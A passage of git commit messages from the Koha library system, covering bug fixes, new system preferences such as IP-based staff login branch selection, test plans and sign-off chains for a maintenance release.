t/db_dependent/Holds/LocalHoldsPriority.t .. 2/7 Use of uninitialized value in numeric gt (>) at /kohadevbox/koha/C4/Reserves.pm line 866.
Use of uninitialized value in numeric gt (>) at /kohadevbox/koha/C4/Reserves.pm line 866.
Use of uninitialized value in numeric gt (>) at /kohadevbox/koha/C4/Reserves.pm line 866.
t/db_dependent/Holds/LocalHoldsPriority.t .. 5/7 Use of uninitialized value in numeric gt (>) at /kohadevbox/koha/C4/Reserves.pm line 866.
t/db_dependent/Holds/LocalHoldsPriority.t .. ok
All tests successful.

We didn't have the default values generated by the DBMS

Signed-off-by: David Nind <david@davidnind.com>
Signed-off-by: Marcel de Rooy <m.de.rooy@rijksmuseum.nl>
Signed-off-by: Katrin Fischer <katrin.fischer@bsz-bw.de>
(cherry picked from commit 6827c9061ffc57c2e1f7087aced8ce2e65196558)
Signed-off-by: Fridolin Somers <fridolin.somers@biblibre.com>
(cherry picked from commit 233e92f8996958e66363557daec1859a4f76c93b)
Signed-off-by: Lucas Gass <lucas@bywatersolutions.com>

Bug 36589: Advanced cataloging - restore the correct height of the clipboard

A simple direct fix for the height of the advanced editor's clipboard,
which is a <select size="10"> that's currently cut down to the height of
one thick line by CSS intended for non-multiple, non-sized selects with
dropdown menus.

Test plan:
1. Set the pref EnableAdvancedCatalogingEditor to Enable
2. Cataloging -> Advanced editor
3. Note the Clipboard is a single line tall
4. Apply patch, shift+reload Advanced editor
5. Note the Clipboard is ten lines tall

Signed-off-by: Owen Leonard <oleonard@myacpl.org>
Signed-off-by: Nick Clemens <nick@bywatersolutions.com>
Signed-off-by: Katrin Fischer <katrin.fischer@bsz-bw.de>
(cherry picked from commit 10a8dc5108dc58d91786ead95f5130a7a147d5b1)
Signed-off-by: Fridolin Somers <fridolin.somers@biblibre.com>
(cherry picked from commit 0413d06b0e0f9e2bb8ec3bf26a55d445a7df7119)
Signed-off-by: Lucas Gass <lucas@bywatersolutions.com>

Bug 36943: (follow-up) 24.05.00 - Update .mailmap

Signed-off-by: Katrin Fischer <katrin.fischer@bsz-bw.de>
(cherry picked from commit f044310808bd26fb856ed26e78290f972889a9cc)
Signed-off-by: Fridolin Somers <fridolin.somers@biblibre.com>
(cherry picked from commit 57ec82f6e86a230a6ace571e7c5e54e8ddf702fc)
Signed-off-by: Lucas Gass <lucas@bywatersolutions.com>

Bug 36943: 24.05.00 - Update .mailmap

Signed-off-by: Martin Renvoize <martin.renvoize@ptfs-europe.com>
Signed-off-by: Katrin Fischer <katrin.fischer@bsz-bw.de>
(cherry picked from commit d8863160da07c81b0b7356c8b923737b401db481)
Signed-off-by: Fridolin Somers <fridolin.somers@biblibre.com>
(cherry picked from commit 6c89d4eeb6348683d32a1928a2e410e3f81c44fe)
Signed-off-by: Lucas Gass <lucas@bywatersolutions.com>

Bug 36908: (Rmaint follow-up) Fix number of tests

Signed-off-by: Lucas Gass <lucas@bywatersolutions.com>

Bug 36908: (QA follow-up) Proposed improvement to prefernce description

I found the initial addition of 'or the branch chosen at login' to the
system preference description more misleading than the original. After
discussion on mattermost and with training staff here at PTFS the best
alternative we could come up with is proposed here.

Signed-off-by: Martin Renvoize <martin.renvoize@ptfs-europe.com>
Signed-off-by: Nick Clemens <nick@bywatersolutions.com>
Signed-off-by: Katrin Fischer <katrin.fischer@bsz-bw.de>
(cherry picked from commit 85735e86f4f927d8e455aec08ef90a1381694059)
Signed-off-by: Fridolin Somers <fridolin.somers@biblibre.com>
(cherry picked from commit b478d91b59a11574b0fd7689b5037c2c29ee8d42)
Signed-off-by: Lucas Gass <lucas@bywatersolutions.com>

Bug 36908: Sort branches based on branchcode

This adds a sort based on branchcode, it's a fallback for an edge case that should be rare
so I think is acceptable, as long as documented.

I added test coverage, but it may no longer be possible to encounter this scenario.

System preference descriptions are updated as well.

Signed-off-by: Jonathan Druart <jonathan.druart@bugs.koha-community.org>
Signed-off-by: Martin Renvoize <martin.renvoize@ptfs-europe.com>
Signed-off-by: Katrin Fischer <katrin.fischer@bsz-bw.de>
(cherry picked from commit 46cecfdd72ee45bfad03c6875fdc078df48eabec)
Signed-off-by: Fridolin Somers <fridolin.somers@biblibre.com>
(cherry picked from commit 7682763fca0e1d14c27a32e9987e8c66712229cb)
Signed-off-by: Lucas Gass <lucas@bywatersolutions.com>

Bug 36908: Additional unit tests to identify flaw when two branches have same IP

This could be considered a configuration flaw, but when:
StaffLoginBranchBasedOnIP enabled and not AutoLocation
or
AutoLocation enabledand no IP set in user's branch

AND

two branches have the same IP set

the user can be logged in randomly to one of the matching branches.

These test often pass, but will also randomly fail

Easier to verify with a one liner demonstrating current code:
perl -e 'use Koha::Libraries; use List::MoreUtils qw(uniq); my $branches = { map { $_->branchcode => $_->unblessed } Koha::Libraries->search->as_list }; my $branchcode="CPL"; warn Data::Dumper::Dumper( uniq( $branchcode, keys %$branches ));'

Signed-off-by: Jonathan Druart <jonathan.druart@bugs.koha-community.org>
Signed-off-by: Martin Renvoize <martin.renvoize@ptfs-europe.com>
Signed-off-by: Katrin Fischer <katrin.fischer@bsz-bw.de>
(cherry picked from commit 7e8803537254ec950c64327bece8091e6cf49499)
Signed-off-by: Fridolin Somers <fridolin.somers@biblibre.com>
(cherry picked from commit aa1c4c0281039749fa024687049b32b375d78ec6)
Signed-off-by: Lucas Gass <lucas@bywatersolutions.com>

Bug 36908: Expand, clarify, and tidy tests for AutoLocation

Signed-off-by: Jonathan Druart <jonathan.druart@bugs.koha-community.org>
Signed-off-by: Martin Renvoize <martin.renvoize@ptfs-europe.com>
Signed-off-by: Katrin Fischer <katrin.fischer@bsz-bw.de>
(cherry picked from commit 6966fcc398d3a87edba95aa987d915a1b00eb08f)
Signed-off-by: Fridolin Somers <fridolin.somers@biblibre.com>
(cherry picked from commit 15bf32a50a9c4cfff9e7b8b139f7fb639e90b331)
Signed-off-by: Lucas Gass <lucas@bywatersolutions.com>

Bug 36924: Remove warning "Value not allowed for auto_incr itemnumber in Item"

We are removing entirely the badly written test.

Signed-off-by: David Nind <david@davidnind.com>
Signed-off-by: Marcel de Rooy <m.de.rooy@rijksmuseum.nl>
Note: We cannot test this properly when the search index refers to biblios
and items that do not exist in the database.
Signed-off-by: Katrin Fischer <katrin.fischer@bsz-bw.de>
(cherry picked from commit 12511385289b41c3c3d067f1b7c4397010e3d27c)
Signed-off-by: Fridolin Somers <fridolin.somers@biblibre.com>
(cherry picked from commit 98fa5f6b25360e056dac72a776e880ec2c4d4970)
Signed-off-by: Lucas Gass <lucas@bywatersolutions.com>

Bug 36924: Remove "I don't know what to say" warnings

Those are a pain really

Signed-off-by: Marcel de Rooy <m.de.rooy@rijksmuseum.nl>
Signed-off-by: David Nind <david@davidnind.com>
Signed-off-by: Marcel de Rooy <m.de.rooy@rijksmuseum.nl>
Signed-off-by: Katrin Fischer <katrin.fischer@bsz-bw.de>
(cherry picked from commit a77d74b903951af569e73e09c5c9c33f0e6aa818)
Signed-off-by: Fridolin Somers <fridolin.somers@biblibre.com>
(cherry picked from commit 78d1f934c2ad5088bde0bd199c47a2627ad09f8e)
Signed-off-by: Lucas Gass <lucas@bywatersolutions.com>

Bug 36665: (RMaint follow-up) adapt unit test

(cherry picked from commit 8ddb0797f66168765c80df8372a588e1885ff21c)
Signed-off-by: Lucas Gass <lucas@bywatersolutions.com>

Bug 36665: (follow-up) Default preference to enabled

While this is a new preference, this was the standard behavior for a long time. I think we should
default to enabled to restore previous behavior.

Signed-off-by: Katrin Fischer <katrin.fischer@bsz-bw.de>
(cherry picked from commit e48e3d02f301ecf9402812120ca333c91d84d5c5)
Signed-off-by: Fridolin Somers <fridolin.somers@biblibre.com>
(cherry picked from commit a479192e6745e6f452c0f2b08ce0ff473f19135c)
Signed-off-by: Lucas Gass <lucas@bywatersolutions.com>

Bug 36665: DBRev 23.05.11.002

Signed-off-by: Lucas Gass <lucas@bywatersolutions.com>

Bug 36665: (follow-up) Rephrase system preference description

... and replace some branches with libraries.

Signed-off-by: Katrin Fischer <katrin.fischer@bsz-bw.de>
(cherry picked from commit 0d4ee5319875439d2309bfae5d7f0054d2d02194)
Signed-off-by: Fridolin Somers <fridolin.somers@biblibre.com>
(cherry picked from commit a6b9845ecf127768729a40ddb3872141adde6522)
Signed-off-by: Lucas Gass <lucas@bywatersolutions.com>

Bug 36665: (follow-up) Allow choosing a branch with no IP when using AutoLocation

Signed-off-by: Jonathan Druart <jonathan.druart@bugs.koha-community.org>
Signed-off-by: Katrin Fischer <katrin.fischer@bsz-bw.de>
(cherry picked from commit 58a75cafd6934f2a1b938aac12493bdb7bb53724)
Signed-off-by: Fridolin Somers <fridolin.somers@biblibre.com>
(cherry picked from commit 190fc91e2980c94b3c2540aae0e668fd66e551f6)
Signed-off-by: Lucas Gass <lucas@bywatersolutions.com>

Bug 36665: (follow-up) Wrap code block in type ne 'opac' conditional

Signed-off-by: Jonathan Druart <jonathan.druart@bugs.koha-community.org>
Signed-off-by: Katrin Fischer <katrin.fischer@bsz-bw.de>
(cherry picked from commit fb45438ae3a95586107fdf34e03a6803714b25de)
Signed-off-by: Fridolin Somers <fridolin.somers@biblibre.com>
(cherry picked from commit 031896d58bffda13bc24c33515e0711814dba725)
Signed-off-by: Lucas Gass <lucas@bywatersolutions.com>

Bug 36665: Add option to set the staff user's logged in branch based on their current ip

This patch adds a new system preference StaffLoginBranchBasedOnIP which restores the behaviour before bug 35918
of using the current IP to determine the user's logged in branchcode

To test:
 1 - Get your current ip
 2 - Set that IP for a library in the administration section
 3 - Find a user account assigned to a different library that can login to staff side
 4 - Login to staff as that user, select 'My library'
 5 - You are logged in to the user's branch
 6 - Apply patch, restart all
 7 - Log out and back in, selecting 'My library'
 8 - You are logged in to the user's branch
 9 - Enable new system preference StaffLoginBranchBasedOnIP
 9 - Log out and back in, selecting a different branch, noting the new warning below the library selection
10 - You are logged in to the branch with the matching IP
11 - Log out and back in, selecting 'My library'
10 - You are logged in to the branch with the matching IP
11 - Change your logged in branch
12 - Verify the selection sticks and you can perform staff actions in the chosen branch
13 - Change the IP of the library to one that doesn't match yours
14 - Verify you can log out and log back in and that selected branch is respected when your IP doesn't match library IP

Signed-off-by: Kristi Krueger <KKRUEGER@cuyahogalibrary.org>
Signed-off-by: Martin Renvoize <martin.renvoize@ptfs-europe.com>
Signed-off-by: Jonathan Druart <jonathan.druart@bugs.koha-community.org>
Signed-off-by: Katrin Fischer <katrin.fischer@bsz-bw.de>
(cherry picked from commit 3a0d6f5d07b914ab03f9ae3c56b033158bd91130)
Signed-off-by: Fridolin Somers <fridolin.somers@biblibre.com>
(cherry picked from commit 6f4632ef04365436079a78b3b0e23bd34536d972)
Signed-off-by: Lucas Gass <lucas@bywatersolutions.com>

Bug 36858: Remove warnings

Argument "" isn't numeric in int

Signed-off-by: Jonathan Druart <jonathan.druart@bugs.koha-community.org>
Signed-off-by: Katrin Fischer <katrin.fischer@bsz-bw.de>
(cherry picked from commit 678e3f6e208ed47820132215806519f5162545fb)
Signed-off-by: Fridolin Somers <fridolin.somers@biblibre.com>
(cherry picked from commit 4c4349dbdb1ce156320909d5f9527d2206a80c9e)
Signed-off-by: Lucas Gass <lucas@bywatersolutions.com>

Bug 36858: Check page parameter for virtual shelves

Test plan:
Try passing page=x now and verify different behavior (no 500).

Signed-off-by: Marcel de Rooy <m.de.rooy@rijksmuseum.nl>
Signed-off-by: David Nind <david@davidnind.com>
Signed-off-by: Jonathan Druart <jonathan.druart@bugs.koha-community.org>
Signed-off-by: Katrin Fischer <katrin.fischer@bsz-bw.de>
(cherry picked from commit 90f011355735d16af8cdf6ef224ccf8074ad94e1)
Signed-off-by: Fridolin Somers <fridolin.somers@biblibre.com>
(cherry picked from commit d903ffd4e61689ddcac0f4cd046d2b9f800859f3)
Signed-off-by: Lucas Gass <lucas@bywatersolutions.com>

Bug 36914: Remove DBIC warning in shelves.pl

Same fix as Bug 28561: Remove DBIC warning in opac-shelves
But for staff

Signed-off-by: Marcel de Rooy <m.de.rooy@rijksmuseum.nl>
Signed-off-by: Katrin Fischer <katrin.fischer@bsz-bw.de>
(cherry picked from commit f388b99af044be538b62c9e850e341cad064ab95)
Signed-off-by: Fridolin Somers <fridolin.somers@biblibre.com>
(cherry picked from commit 509fd15d26a7c84563c73c12538aea54ee7c078e)
Signed-off-by: Lucas Gass <lucas@bywatersolutions.com>

Bug 35929: Remove extra parenthesis

and make it more readable

Signed-off-by: Jonathan Druart <jonathan.druart@bugs.koha-community.org>
Signed-off-by: Katrin Fischer <katrin.fischer@bsz-bw.de>
(cherry picked from commit ad41c672a13f8e18ea2fbbc4ad3245165693c339)
Signed-off-by: Fridolin Somers <fridolin.somers@biblibre.com>
(cherry picked from commit ae53cf4eea2fb401bae6fad487b779002aa05789)
Signed-off-by: Lucas Gass <lucas@bywatersolutions.com>

Bug 35929: Don't record a change for empty fields submitted in patron form

This is reminiscent of bug 36159 - when a field is submitted as empty, and null in the DB
we need to reject this as a change. I tried to copy the logic from that bug, as well as
deleting submitted changes for hidden fields (from html manipulation)

This should be tested extensively. One note: If you submit a valid change request, then submit a second with no change the second will be ignored, but the first will remain. i.e. if you change your name from 'Nick' to 'Nack' - then realize your typo you cannot submit a new request to change it back untl the initial request is cleared

To test:
1 - Play with PatronSelfModificationBorrowerUnwantedField and PatronSelfModificationMandatory field to have some fields set
2 - Add a patron attribute, or several, that are editable in the OPAC
3 - Try submitting a form with no changes, note a modification requets is submitted
4 - Approve the request
5 - Apply patch, restart all
6 - Try submitted a blank request, you are notified there were no changes
7 - Try to force an unwanted field via html modification
8 - No changes reported
9 - Confirm attributes changes are successful
10 - After a successful request, try submitting a blank request
11 - Note no changes are recorded, but the initial request is still active

Signed-off-by: Lucas Gass <lucas@bywatersolutions.com>
Signed-off-by: Jonathan Druart <jonathan.druart@bugs.koha-community.org>
Signed-off-by: Katrin Fischer <katrin.fischer@bsz-bw.de>
(cherry picked from commit cf4a3667cbeb4dbb6b7dd74fd30a3cacca540603)
Signed-off-by: Fridolin Somers <fridolin.somers@biblibre.com>
(cherry picked from commit 1a898d94649f13e76e094c14ad41395f2bd19c9a)
Signed-off-by: Lucas Gass <lucas@bywatersolutions.com>

Bug 36845: Do not loop over the content attribute

We skip it.

Signed-off-by: Marcel de Rooy <m.de.rooy@rijksmuseum.nl>
Signed-off-by: Katrin Fischer <katrin.fischer@bsz-bw.de>
(cherry picked from commit 68e317bd0f8daf967a8af540056e8637524e5d3b)
Signed-off-by: Fridolin Somers <fridolin.somers@biblibre.com>
(cherry picked from commit aed7e0849634a70880fa09029d018cd053cd9fac)
Signed-off-by: Lucas Gass <lucas@bywatersolutions.com>

Bug 36845: Exclude meta tag from the translations

This bug originaly wants to get rid of "noindex" coming from this meta
tag:
  <meta name="robots" content="noindex">

But actually we have other strings from the meta tags that should not be
translated.

Test plan:
0. Do not apply this patch
1. cd misc/translator/po && gulp po:update --lang es-ES (or any other
   lang)
2. git commit -a -m"wip"
3. Apply this patch
4. Repeat 1 and git diff to show the diff
Notice that strings that should not be translated are removed from the
po files (actually commented)

Signed-off-by: Caroline Cyr La Rose <caroline.cyr-la-rose@inlibro.com>
Signed-off-by: Marcel de Rooy <m.de.rooy@rijksmuseum.nl>
Signed-off-by: Katrin Fischer <katrin.fischer@bsz-bw.de>
(cherry picked from commit fbb123b12eab123e62c508944fd2b6261fb24acf)
Signed-off-by: Fridolin Somers <fridolin.somers@biblibre.com>
(cherry picked from commit b3dfb82bd030aefb2299fd6e00d31588dbdcffb4)
Signed-off-by: Lucas Gass <lucas@bywatersolutions.com>

Bug 36892: Fix label for 'is_standing' input

Test plan:

1) Go to acqui/histsearch.pl and look for "search_children_too" with
   dev tools console.
2) On 'is_standing' input, the same label is used
3) Apply this patch and reload it
4) Now it's correct

Sponsored by: BibLibre

Signed-off-by: Owen Leonard <oleonard@myacpl.org>
Signed-off-by: Pedro Amorim <pedro.amorim@ptfs-europe.com>
Signed-off-by: Katrin Fischer <katrin.fischer@bsz-bw.de>
(cherry picked from commit 40900343673c280d092de9c57399a77c113b41ba)
Signed-off-by: Fridolin Somers <fridolin.somers@biblibre.com>
(cherry picked from commit dacd7fabbe318ad3c340dd5cc1d35b2e67c040d8)
Signed-off-by: Lucas Gass <lucas@bywatersolutions.com>

Bug 36856: Fix MARC subfield name in new order from existing bibliographic record

In form of the bibliographic details when adding an order 'From an existing record' in a basket, the marc subfield name is not shown.
The template calls [% field.lib | html %] but this comes from Koha::UI::Form::Builder::Biblio generate_subfield_form() which gives 'marc_lib'.

Test plan:
1) Be sure to have an ACQ biblio framework
2) Enable system preference UseACQFrameworkForBiblioRecords
3) Go to an acquisition basket
4) Add a term in 'From an existing record' and submit
5) On first result click on 'Add order'
6) Look at 'Catalog details'
=> Without patch you only see subfield tag and letter : (123a)
=> With patch you also see subfield name : Name (123a)

Signed-off-by: Lucas Gass <lucas@bywatersolutions.com>
Signed-off-by: Pedro Amorim <pedro.amorim@ptfs-europe.com>
Signed-off-by: Katrin Fischer <katrin.fischer@bsz-bw.de>
(cherry picked from commit 5080eecc2268c2b7b88856800e728041c2fc29ec)
Signed-off-by: Fridolin Somers <fridolin.somers@biblibre.com>
(cherry picked from commit 33370ea55b34b234d8d0f05e84dd03dc5d4313aa)
Signed-off-by: Lucas Gass <lucas@bywatersolutions.com>

Bug 36834: (Bug 29697 follow-up) Koha explodes when trying to open in Labeled MARC view a bibliographic record with an invalid biblionumber

After changes made in catalogue/labeledMARCdetail.pl with the bug 29697
when trying to open the Labeled MARC view with
biblionumber=<invalid_number> (e.g. a deleted biblionumber) Koha explodes
with a message << Can't call method "metadata" on an undefined value at
/kohadevbox/koha/catalogue/labeledMARCdetail.pl line 59 >>

Test plan:
==========
1. Activate the viewLabeledMARC syspref.
2. Try to open a biblio record in Labeled MARC view, giving as a biblionumber
   (in URL) a non-existing biblionumber, e.g. in ktd, with standard ktd
   test data:
   http://your_ktd:8081/cgi-bin/koha/catalogue/labeledMARCdetail.pl?biblionumber=1234567
   Koha should explode with the message:
   Can't call method "metadata" on an undefined value at
   /kohadevbox/koha/catalogue/labeledMARCdetail.pl line 59
3. Apply the patch; restart_all.
4. Repeat p. 2.  You should get a regular page with the info "The record you
   requested does not exist (1234567)".

Signed-off-by: Roman Dolny <roman.dolny@jezuici.pl>
Signed-off-by: Martin Renvoize <martin.renvoize@ptfs-europe.com>
Signed-off-by: Katrin Fischer <katrin.fischer@bsz-bw.de>
(cherry picked from commit e4e54af0e77a01d8ad1ee6ac84f5b255951f1831)
Signed-off-by: Fridolin Somers <fridolin.somers@biblibre.com>
(cherry picked from commit 944f3ffc8f0f59b2080d0670f4691a2343413e50)
Signed-off-by: Lucas Gass <lucas@bywatersolutions.com>

Bug 36872: Untranslatable strings in request.tt

There are errors in the JavaScript in the holds template in the staff
client which results in strings not being translatable. This patch
corrects the errors.

To test, apply the patch and run through the process of placing a hold
on multiple items in the staff interface.

- At the hold confirmation step, try to submit the form without
  selecting pickup locations for one or more titles.
- You should get an alert, "Please make sure all selected titles have a
  pickup location set".
- Uncheck the checkboxes next to each title you're placing a hold on.
- Submit the form. You should get an error: "Please select at least one
  title".

- Test the translation process with a language, e.g. fr-FR:
- In KTD, run: gulp po:update --lang fr-FR
- Check fr-FR-staff-prog.po for the line referring to
  koha-tmpl/intranet-tmpl/prog/en/modules/reserve/request.tt:1499
- You should see the string "Please make sure all selected titles have a
  pickup location set".

Signed-off-by: Caroline Cyr La Rose <caroline.cyr-la-rose@inlibro.com>
Signed-off-by: Marcel de Rooy <m.de.rooy@rijksmuseum.nl>
Signed-off-by: Katrin Fischer <katrin.fischer@bsz-bw.de>
(cherry picked from commit 537c960777f94cf964c757ed2773f330612ae3c7)
Signed-off-by: Fridolin Somers <fridolin.somers@biblibre.com>
(cherry picked from commit 4a51f8ca4ae772d5b3f9f06605aa72980ef49a19)
Signed-off-by: Lucas Gass <lucas@bywatersolutions.com>

Bug 36529: manage_additional_fields permission for more than acquisitions and serials

This patch renames the manage_additional_fields permission to remove
the specificity of acquisitions orders and serial subscriptions.
Since each additional field requires a corresponding permission, I
wrote each of them next to it. It makes it very long, but right now
there isn't really a way to link permissions other than the permission
description.

To test:
1. Apply patch
2. Go to a patron account
3. Click More > Set permissions
4. Go to the Administration panel permissions and open the
   sub-permissions
5. Check that the manage_additional_fields permission description
   makes sense, check grammar and spelling, try the various
   combinations

Signed-off-by: Pedro Amorim <pedro.amorim@ptfs-europe.com>
Signed-off-by: Lucas Gass <lucas@bywatersolutions.com>
Signed-off-by: Katrin Fischer <katrin.fischer@bsz-bw.de>
(cherry picked from commit e251212ff5f783ff7d5d9de3821510ba7928d95f)
Signed-off-by: Fridolin Somers <fridolin.somers@biblibre.com>
(cherry picked from commit fd982c027ddf247e441f2db278145b54f7dc537c)
Signed-off-by: Lucas Gass <lucas@bywatersolutions.com>

Bug 36793: Fix case of $var in Context->delete_preference

This only applies to 'local' preferences.

Test plan (first without this patch):
Add a local pref. Delete it. Ask value on commandline with:
* perl -MC4::Context -e"print C4::Context->preference('YOUR_PREF')"
* Did you replace YOUR_PREF :)

Now repeat with this patch. And verify fix (no value now).

Signed-off-by: Marcel de Rooy <m.de.rooy@rijksmuseum.nl>
Signed-off-by: Martin Renvoize <martin.renvoize@ptfs-europe.com>
Signed-off-by: Katrin Fischer <katrin.fischer@bsz-bw.de>
(cherry picked from commit 8ea126b1f89e24a2baf8c43f7bf837bf74741088)
Signed-off-by: Fridolin Somers <fridolin.somers@biblibre.com>
(cherry picked from commit 6122b60194af5b6939a6bbae6bc3c7973835b309)
Signed-off-by: Lucas Gass <lucas@bywatersolutions.com>

Bug 36793: Unit test

This only applies to 'local' preferences.

Test plan:
Run sysprefs.t with/without second patch.

Signed-off-by: Marcel de Rooy <m.de.rooy@rijksmuseum.nl>
Signed-off-by: Martin Renvoize <martin.renvoize@ptfs-europe.com>
Signed-off-by: Katrin Fischer <katrin.fischer@bsz-bw.de>
(cherry picked from commit b77cb006f1b1145b0251579e4122b7ad0c1bd0c1)
Signed-off-by: Fridolin Somers <fridolin.somers@biblibre.com>
(cherry picked from commit d39200e0d631cf5f008cbd8d185319d847a595f7)
Signed-off-by: Lucas Gass <lucas@bywatersolutions.com>

Bug 36619: Restore 'Columns' visibility on the patron search when placing a hold

Test plan:
Go to /cgi-bin/koha/reserve/request.pl?biblionumber=117
Search for "d"
Notice that with this patch applied the "Columns" button is back and
that the "Configure" is working correctly

Signed-off-by: Caroline Cyr La Rose <caroline.cyr-la-rose@inlibro.com>
Signed-off-by: Martin Renvoize <martin.renvoize@ptfs-europe.com>
Signed-off-by: Katrin Fischer <katrin.fischer@bsz-bw.de>
(cherry picked from commit 76ebbb4b9b3a39c6e7ffffe8ad1b9b2c603daf5c)
Signed-off-by: Fridolin Somers <fridolin.somers@biblibre.com>
(cherry picked from commit b485b949f4207ffa7b8651858ba4850557734042)
Signed-off-by: Lucas Gass <lucas@bywatersolutions.com>

Bug 35961: (follow-up) Pass along the borrowernumber

To test:
1. APPLY PATCH
2. Turn on  OpacCatalogConcerns
3. Find a record and go to the OPAC detail page.
4. Click "Report a concern" in the right navigation menu
5. Make sure it works
6. Repeat the proces from MARC view and ISBD view pages

Signed-off-by: David Nind <david@davidnind.com>
Signed-off-by: Nick Clemens <nick@bywatersolutions.com>
Signed-off-by: Katrin Fischer <katrin.fischer@bsz-bw.de>
(cherry picked from commit e412a4387c888816cf478d811a559c5f57f7e9e2)
Signed-off-by: Fridolin Somers <fridolin.somers@biblibre.com>
(cherry picked from commit dc8fb79cf4438f31cf72942caccf4a7d6c9bd665)
Signed-off-by: Lucas Gass <lucas@bywatersolutions.com>

Bug 35961: Add missing includes

This patch adds the missing includes for the 'Catalog concerns' modal on
opac-MARCdetail and opac-ISBDdetail views.

Signed-off-by: David Nind <david@davidnind.com>
Signed-off-by: Nick Clemens <nick@bywatersolutions.com>
Signed-off-by: Katrin Fischer <katrin.fischer@bsz-bw.de>
(cherry picked from commit c2154173af06efaf007e0cdf444f885275d61f1b)
Signed-off-by: Fridolin Somers <fridolin.somers@biblibre.com>
(cherry picked from commit e90c544841efed6cf31ec8433f2e79161a07095f)
Signed-off-by: Lucas Gass <lucas@bywatersolutions.com>

Bug 36837: Simplify XSLT and aid translatability

This patch makes the XSLT contain HTML tags instead of building them
from scratch with static attribute values. This made it awkward for
translators as CSS classes ended up being extracted for translation
purposes. Plus, there's no need to spend CPU cycles on static content
generation.

Signed-off-by: Tomas Cohen Arazi <tomascohen@theke.io>
Signed-off-by: Martin Renvoize <martin.renvoize@ptfs-europe.com>
Signed-off-by: Katrin Fischer <katrin.fischer@bsz-bw.de>
(cherry picked from commit 48e39c1e5cea2db2c4e0951a6efcae7e611490fb)
Signed-off-by: Fridolin Somers <fridolin.somers@biblibre.com>
(cherry picked from commit 22ff328708b377b4599bd072a9b444bae5953fa3)